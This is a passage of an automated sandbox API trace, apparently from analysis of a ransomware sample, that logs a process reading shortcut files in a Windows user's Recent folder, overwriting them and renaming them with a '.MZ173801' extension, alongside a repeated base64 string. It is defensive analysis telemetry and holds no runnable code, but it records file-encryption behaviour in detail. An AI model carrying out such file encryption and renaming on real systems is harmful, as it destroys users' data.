dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.422] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xea4, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xea4, lpOverlapped=0x0) returned 1 [0121.423] CloseHandle (hObject=0x288) returned 1 [0121.424] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IkmZeMY2n.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ikmzemy2n.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IkmZeMY2n.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ikmzemy2n.lnk.mz173801")) returned 1 [0121.426] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf219480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf219480, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf219480, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="iWEb33Cogzj.lnk", cAlternateFileName="IWEB33~1.LNK")) returned 1 [0121.426] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.426] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iWEb33Cogzj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\iweb33cogzj.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf219480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf219480, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf219480, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xef5)) returned 1 [0121.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iWEb33Cogzj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\iweb33cogzj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.430] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.430] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.430] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xef5 [0121.430] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.430] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xef5, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xef5, lpOverlapped=0x0) returned 1 [0121.431] CloseHandle (hObject=0x288) returned 1 [0121.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iWEb33Cogzj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\iweb33cogzj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.432] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xef5, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xef5, lpOverlapped=0x0) returned 1 [0121.433] CloseHandle (hObject=0x288) returned 1 [0121.437] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iWEb33Cogzj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\iweb33cogzj.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iWEb33Cogzj.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\iweb33cogzj.lnk.mz173801")) returned 1 [0121.438] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd5aede0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfccf780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfccf780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x91d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="J2iO.lnk", cAlternateFileName="")) returned 1 [0121.438] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.438] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.439] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J2iO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j2io.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd5aede0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfccf780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfccf780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x91d)) returned 1 [0121.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J2iO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j2io.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.443] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.443] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.443] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x91d [0121.443] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.443] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x91d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x91d, lpOverlapped=0x0) returned 1 [0121.444] CloseHandle (hObject=0x288) returned 1 [0121.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 